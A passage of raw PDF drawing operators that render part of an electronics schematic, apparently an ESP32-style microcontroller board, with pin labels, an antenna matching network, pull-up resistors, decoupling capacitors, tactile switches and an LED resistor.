9 Tf +9.00 TL +0.000 0.000 1.000 rg +474.66 859.50 Td +(U0RXD) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +510.50 864.50 Td +(40) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +520.000 863.500 m +510.000 863.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +475.37 869.50 Td +(U0TXD) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +510.50 874.50 Td +(41) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +520.000 873.500 m +510.000 873.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +484.01 879.50 Td +(IO21) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +510.50 884.50 Td +(42) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +520.000 883.500 m +510.000 883.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +480.15 889.50 Td +(VDDA) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +510.50 894.50 Td +(43) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +520.000 893.500 m +510.000 893.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +452.26 899.50 Td +(XTAL_N_NC) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +510.50 904.50 Td +(44) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +520.000 903.500 m +510.000 903.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +453.57 909.50 Td +(XTAL_P_NC) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +510.50 914.50 Td +(45) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +520.000 913.500 m +510.000 913.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +480.15 919.50 Td +(VDDA) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +510.50 924.50 Td +(46) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +520.000 923.500 m +510.000 923.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +464.00 929.50 Td +(CAP2_NC) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +510.50 934.50 Td +(47) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +520.000 933.500 m +510.000 933.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +464.00 939.50 Td +(CAP1_NC) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +510.50 944.50 Td +(48) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +520.000 943.500 m +510.000 943.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +485.66 949.50 Td +(GND) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +510.50 954.50 Td +(49) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +520.000 953.500 m +510.000 953.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +340.000 943.500 m +320.000 943.500 l +320.000 763.500 l +340.000 763.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +340.000 913.500 m +320.000 913.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +340.000 923.500 m +320.000 923.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +520.000 923.500 m +535.000 923.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +520.000 893.500 m +535.000 893.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +520.000 833.500 m +535.000 833.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +520.000 723.500 m +535.000 723.500 l +535.000 1013.500 l +320.000 1013.500 l +320.000 943.500 l +S +BT +/F3 12 Tf +12.00 TL +0.000 g +1.00 -0.00 0.00 1.00 308.00 1035.50 Tm +(VCC) Tj +ET +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +320.000 1033.500 m +320.000 1023.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +315.000 1033.500 m +325.000 1033.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +215.000 923.500 m +215.000 933.500 l +340.000 933.500 l +S +10.00 w +BT +/F2 9 Tf +9.00 TL +0.000 0.000 0.502 rg +188.07 890.26 Td +(4.7pF) Tj +ET +10.00 w +BT +/F2 9 Tf +9.00 TL +0.000 0.000 0.502 rg +189.05 905.27 Td +(C1) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.00 g +[] 0 d +223.000 901.500 m +207.000 901.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +215.000 893.500 m +215.000 883.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.00 g +[] 0 d +215.000 913.500 m +215.000 905.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.00 g +[] 0 d +207.000 905.500 m +223.000 905.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +215.000 913.500 m +215.000 923.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.00 g +[] 0 d +215.000 901.500 m +215.000 893.500 l +S +BT +/F3 12 Tf +12.00 TL +0.000 g +1.00 -0.00 0.00 1.00 202.00 852.50 Tm +(GND) Tj +ET +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +215.000 868.500 m +215.000 878.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +206.000 868.500 m +224.000 868.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +209.000 866.500 m +221.000 866.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +212.000 864.500 m +218.000 864.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +214.000 862.500 m +216.000 862.500 l +S +10.00 w +BT +/F2 9 Tf +9.00 TL +0.000 0.000 0.502 rg +219.00 941.23 Td +(1.6nH) Tj +ET +10.00 w +BT +/F2 9 Tf +9.00 TL +0.000 0.000 0.502 rg +219.00 950.34 Td +(L1) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +215.000 973.500 m +215.000 970.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +215.000 933.500 m +215.000 936.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +214.932 936.617 m +212.79 936.41 210.89 938.03 210.69 940.23 c +210.49 942.43 212.06 944.38 214.21 944.58 c +214.45 944.61 214.69 944.61 214.94 944.58 c +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +214.929 945.100 m +212.78 944.90 210.88 946.51 210.68 948.71 c +210.48 950.91 212.06 952.86 214.21 953.07 c +214.45 953.09 214.69 953.09 214.93 953.07 c +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +214.929 953.567 m +212.78 953.36 210.88 954.98 210.68 957.18 c +210.48 959.38 212.06 961.33 214.21 961.53 c +214.45 961.56 214.69 961.56 214.93 961.53 c +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +214.931 962.200 m +212.79 962.00 210.89 963.61 210.69 965.81 c +210.49 968.01 212.06 969.96 214.21 970.17 c +214.45 970.19 214.69 970.19 214.94 970.16 c +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +215.000 973.500 m +215.000 978.500 l +190.000 978.500 l +S +10.00 w +BT +/F2 9 Tf +9.00 TL +0.000 0.000 0.502 rg +164.05 989.50 Td +(2.7pF) Tj +ET +10.00 w +BT +/F2 9 Tf +9.00 TL +0.000 0.000 0.502 rg +164.05 998.60 Td +(C2) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.00 g +[] 0 d +172.000 986.500 m +172.000 970.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +180.000 978.500 m +190.000 978.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.00 g +[] 0 d +160.000 978.500 m +168.000 978.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.00 g +[] 0 d +168.000 970.500 m +168.000 986.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +160.000 978.500 m +150.000 978.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.00 g +[] 0 d +172.000 978.500 m +180.000 978.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +215.000 988.500 m +215.000 978.500 l +S +BT +/F3 12 Tf +12.00 TL +0.000 g +1.00 -0.00 0.00 1.00 137.02 926.34 Tm +(GND) Tj +ET +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +150.000 943.500 m +150.000 953.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +141.000 943.500 m +159.000 943.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +144.000 941.500 m +156.000 941.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +147.000 939.500 m +153.000 939.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +149.000 937.500 m +151.000 937.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +150.000 953.500 m +150.000 978.500 l +S +10.00 w +BT +/F2 9 Tf +9.00 TL +0.000 0.000 0.502 rg +175.73 1030.34 Td +(SLDA31-2R400G-S2TF) Tj +ET +10.00 w +BT +/F2 9 Tf +9.00 TL +0.000 0.000 0.502 rg +229.82 1010.35 Td +(L2) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.00 g +[] 0 d +205.000 1018.500 m +225.000 1018.500 l +215.000 1008.500 l +205.000 1018.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.00 g +[] 0 d +215.000 1018.500 m +215.000 998.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +0.00 1.00 -1.00 0.00 214.00 992.78 Tm +(1) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +215.000 988.500 m +215.000 998.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +0.00 1.00 -1.00 0.00 224.00 992.78 Tm +(2) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +225.000 988.500 m +225.000 998.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +215.000 878.500 m +215.000 883.500 l +S +10.00 w +BT +/F2 9 Tf +9.00 TL +0.000 0.000 0.502 rg +257.00 876.31 Td +(10K) Tj +ET +10.00 w +BT +/F2 9 Tf +9.00 TL +0.000 0.000 0.502 rg +259.04 890.30 Td +(R1) Tj +ET +2 J +0 j +100 M +1.00 w +0.53 0.00 0.00 RG +[] 0 d +245.00 898.50 10.00 -20.00 re +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +250.000 898.500 m +250.000 908.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +250.000 878.500 m +250.000 868.500 l +S +10.00 w +BT +/F2 9 Tf +9.00 TL +0.000 0.000 0.502 rg +211.78 820.27 Td +(100nF) Tj +ET +10.00 w +BT +/F2 9 Tf +9.00 TL +0.000 0.000 0.502 rg +260.01 825.35 Td +(C3) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.00 g +[] 0 d +258.000 826.500 m +242.000 826.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +250.000 818.500 m +250.000 808.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.00 g +[] 0 d +250.000 838.500 m +250.000 830.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.00 g +[] 0 d +242.000 830.500 m +258.000 830.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +250.000 838.500 m +250.000 848.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.00 g +[] 0 d +250.000 826.500 m +250.000 818.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +250.000 868.500 m +250.000 848.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +340.000 863.500 m +250.000 863.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +250.000 798.500 m +250.000 808.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +241.000 798.500 m +259.000 798.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +244.000 796.500 m +256.000 796.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +247.000 794.500 m +253.000 794.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +249.000 792.500 m +251.000 792.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +250.000 908.500 m +250.000 913.500 l +320.000 913.500 l +S +10.00 w +BT +/F2 9 Tf +9.00 TL +0.000 0.000 0.502 rg +279.38 970.35 Td +(10uF) Tj +ET +10.00 w +BT +/F2 9 Tf +9.00 TL +0.000 0.000 0.502 rg +274.05 990.35 Td +(C4) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.00 g +[] 0 d +292.000 996.500 m +292.000 980.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +300.000 988.500 m +310.000 988.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.00 g +[] 0 d +280.000 988.500 m +288.000 988.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.00 g +[] 0 d +288.000 980.500 m +288.000 996.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +280.000 988.500 m +270.000 988.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.00 g +[] 0 d +292.000 988.500 m +300.000 988.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +270.000 988.500 m +225.000 988.500 l +S +BT +/F3 12 Tf +12.00 TL +0.000 g +1.00 -0.00 0.00 1.00 242.02 961.25 Tm +(GND) Tj +ET +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +255.000 978.500 m +255.000 988.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +246.000 978.500 m +264.000 978.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +249.000 976.500 m +261.000 976.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +252.000 974.500 m +258.000 974.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +254.000 972.500 m +256.000 972.500 l +S +10.00 w +BT +/F2 9 Tf +9.00 TL +0.000 0.000 0.502 rg +271.78 1025.26 Td +(100nF) Tj +ET +10.00 w +BT +/F2 9 Tf +9.00 TL +0.000 0.000 0.502 rg +274.05 1015.35 Td +(C5) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.00 g +[] 0 d +292.000 1021.500 m +292.000 1005.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +300.000 1013.500 m +310.000 1013.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.00 g +[] 0 d +280.000 1013.500 m +288.000 1013.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.00 g +[] 0 d +288.000 1005.500 m +288.000 1021.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +280.000 1013.500 m +270.000 1013.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.00 g +[] 0 d +292.000 1013.500 m +300.000 1013.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +270.000 1013.500 m +255.000 1013.500 l +255.000 988.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +320.000 1023.500 m +320.000 1013.500 l +S +10.00 w +BT +/F2 9 Tf +9.00 TL +0.000 0.000 0.502 rg +797.18 981.84 Td +(TS-1010-C-A) Tj +ET +10.00 w +BT +/F2 9 Tf +9.00 TL +0.000 0.000 0.502 rg +830.68 990.17 Td +(SW1) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.00 g +[] 0 d +860.000 958.500 m +820.000 958.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.00 g +[] 0 d +848.000 971.500 m +832.000 974.500 l +832.000 974.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +814.28 959.50 Td +(4) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +810.000 958.500 m +820.000 958.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +860.00 959.50 Td +(3) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +870.000 958.500 m +860.000 958.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +814.28 969.50 Td +(2) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +810.000 968.500 m +820.000 968.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +860.00 969.50 Td +(1) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +870.000 968.500 m +860.000 968.500 l +S +1.00 w +0.53 0.00 0.00 RG +[] 0 d +833.50 968.50 m 833.50 969.33 832.83 970.00 832.00 970.00 c +831.17 970.00 830.50 969.33 830.50 968.50 c +830.50 967.67 831.17 967.00 832.00 967.00 c +832.83 967.00 833.50 967.67 833.50 968.50 c +S +1.00 w +0.53 0.00 0.00 RG +[] 0 d +849.50 968.50 m 849.50 969.33 848.83 970.00 848.00 970.00 c +847.17 970.00 846.50 969.33 846.50 968.50 c +846.50 967.67 847.17 967.00 848.00 967.00 c +848.83 967.00 849.50 967.67 849.50 968.50 c +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.00 g +[] 0 d +830.000 968.500 m +820.000 968.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.00 g +[] 0 d +860.000 968.500 m +850.000 968.500 l +S +10.00 w +BT +/F2 9 Tf +9.00 TL +0.000 0.000 0.502 rg +817.48 920.35 Td +(TS-1010-C-A) Tj +ET +10.00 w +BT +/F2 9 Tf +9.00 TL +0.000 0.000 0.502 rg +829.82 930.17 Td +(SW2) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.00 g +[] 0 d +820.000 898.500 m +860.000 898.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.00 g +[] 0 d +832.000 911.500 m +848.000 914.500 l +848.000 914.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +860.00 899.50 Td +(4) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +870.000 898.500 m +860.000 898.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +814.28 899.50 Td +(3) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +810.000 898.500 m +820.000 898.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +860.00 909.50 Td +(2) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +870.000 908.500 m +860.000 908.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +814.28 909.50 Td +(1) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +810.000 908.500 m +820.000 908.500 l +S +1.00 w +0.53 0.00 0.00 RG +[] 0 d +849.50 908.50 m 849.50 909.33 848.83 910.00 848.00 910.00 c +847.17 910.00 846.50 909.33 846.50 908.50 c +846.50 907.67 847.17 907.00 848.00 907.00 c +848.83 907.00 849.50 907.67 849.50 908.50 c +S +1.00 w +0.53 0.00 0.00 RG +[] 0 d +833.50 908.50 m 833.50 909.33 832.83 910.00 832.00 910.00 c +831.17 910.00 830.50 909.33 830.50 908.50 c +830.50 907.67 831.17 907.00 832.00 907.00 c +832.83 907.00 833.50 907.67 833.50 908.50 c +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.00 g +[] 0 d +850.000 908.500 m +860.000 908.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.00 g +[] 0 d +820.000 908.500 m +830.000 908.500 l +S +10.00 w +BT +/F2 9 Tf +9.00 TL +0.000 0.000 0.502 rg +829.81 876.84 Td +(TS-1010-C-A) Tj +ET +10.00 w +BT +/F2 9 Tf +9.00 TL +0.000 0.000 0.502 rg +829.82 885.17 Td +(SW3) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.00 g +[] 0 d +820.000 853.500 m +860.000 853.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.00 g +[] 0 d +832.000 866.500 m +848.000 869.500 l +848.000 869.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +860.00 854.50 Td +(4) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +870.000 853.500 m +860.000 853.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +814.28 854.50 Td +(3) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +810.000 853.500 m +820.000 853.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +860.00 864.50 Td +(2) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +870.000 863.500 m +860.000 863.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +814.28 864.50 Td +(1) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +810.000 863.500 m +820.000 863.500 l +S +1.00 w +0.53 0.00 0.00 RG +[] 0 d +849.50 863.50 m 849.50 864.33 848.83 865.00 848.00 865.00 c +847.17 865.00 846.50 864.33 846.50 863.50 c +846.50 862.67 847.17 862.00 848.00 862.00 c +848.83 862.00 849.50 862.67 849.50 863.50 c +S +1.00 w +0.53 0.00 0.00 RG +[] 0 d +833.50 863.50 m 833.50 864.33 832.83 865.00 832.00 865.00 c +831.17 865.00 830.50 864.33 830.50 863.50 c +830.50 862.67 831.17 862.00 832.00 862.00 c +832.83 862.00 833.50 862.67 833.50 863.50 c +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.00 g +[] 0 d +850.000 863.500 m +860.000 863.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.00 g +[] 0 d +820.000 863.500 m +830.000 863.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +810.000 898.500 m +810.000 908.500 l +810.000 968.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +870.000 958.500 m +885.000 958.500 l +885.000 898.500 l +870.000 898.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +810.000 853.500 m +810.000 863.500 l +810.000 898.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +810.000 853.500 m +810.000 788.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +870.000 853.500 m +885.000 853.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +885.000 778.500 m +885.000 788.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +876.000 778.500 m +894.000 778.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +879.000 776.500 m +891.000 776.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +882.000 774.500 m +888.000 774.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +884.000 772.500 m +886.000 772.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +885.000 898.500 m +885.000 803.500 l +885.000 788.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +870.000 908.500 m +940.000 908.500 l +940.000 908.500 l +S +10.00 w +BT +/F2 9 Tf +9.00 TL +0.000 0.000 0.502 rg +954.05 916.50 Td +(10K) Tj +ET +10.00 w +BT +/F2 9 Tf +9.00 TL +0.000 0.000 0.502 rg +954.05 925.60 Td +(R2) Tj +ET +2 J +0 j +100 M +1.00 w +0.53 0.00 0.00 RG +[] 0 d +950.00 913.50 20.00 -10.00 re +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +950.000 908.500 m +940.000 908.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +970.000 908.500 m +980.000 908.500 l +S +10.00 w +BT +/F2 9 Tf +9.00 TL +0.000 0.000 0.502 rg +954.05 871.50 Td +(10K) Tj +ET +10.00 w +BT +/F2 9 Tf +9.00 TL +0.000 0.000 0.502 rg +954.05 880.60 Td +(R3) Tj +ET +2 J +0 j +100 M +1.00 w +0.53 0.00 0.00 RG +[] 0 d +950.00 868.50 20.00 -10.00 re +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +950.000 863.500 m +940.000 863.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +970.000 863.500 m +980.000 863.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +940.000 863.500 m +870.000 863.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +870.000 968.500 m +945.000 968.500 l +S +BT +/F3 9 Tf +9.00 TL +0.000 0.000 1.000 rg +931.03 971.00 Td +(EN) Tj +ET +1 J +1 j +0.10 w +0.00 G +[] 0 d +945.000 969.500 m +945.000 967.500 l +944.000 968.500 m +946.000 968.500 l +S +BT +/F3 9 Tf +9.00 TL +0.000 0.000 1.000 rg +261.03 866.00 Td +(EN) Tj +ET +1 J +1 j +0.10 w +0.00 G +[] 0 d +275.000 864.500 m +275.000 862.500 l +274.000 863.500 m +276.000 863.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +1000.000 863.500 m +1000.000 863.500 l +1000.000 908.500 l +980.000 908.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +980.000 863.500 m +1000.000 863.500 l +S +BT +/F3 12 Tf +12.00 TL +0.000 g +1.00 -0.00 0.00 1.00 987.67 921.53 Tm +(VCC) Tj +ET +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +1000.000 918.500 m +1000.000 908.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +995.000 918.500 m +1005.000 918.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +810.000 778.500 m +810.000 788.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +801.000 778.500 m +819.000 778.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +804.000 776.500 m +816.000 776.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +807.000 774.500 m +813.000 774.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +809.000 772.500 m +811.000 772.500 l +S +10.00 w +BT +/F2 9 Tf +9.00 TL +0.000 0.000 0.502 rg +819.05 681.50 Td +(300R) Tj +ET +10.00 w +BT +/F2 9 Tf +9.00 TL +0.000 0.000 0.502 rg +819.05 690.60 Td +(R6) Tj +ET +2 J +0 j +100 M +1.00 w +0.53 0.00 0.00 RG +[] 0 d +815.00 678.50 20.00 -10.00 re +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +815.000 673.500 m +805.000 673.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +835.000 673.500 m +845.000 673.500 l +S +BT +/F3 12 Tf +12.00 TL +0.000 g +1.00 -0.00 0.00 1.00 782.66 721.62 Tm +(VCC) Tj +ET +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +795.000 718.500 m +795.000 708.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +790.000 718.500 m +800.000 718.500 l +S +10.00 w +BT +/F2 9 Tf +9.00 TL +0.000 0.000 0.502 rg +894.00 675.26 Td +(KT-0603R) Tj +ET +10.00 w +BT +/F2 9 Tf +9.00 TL +0.000 0.000 0.502 rg +858.34 690.27 Td 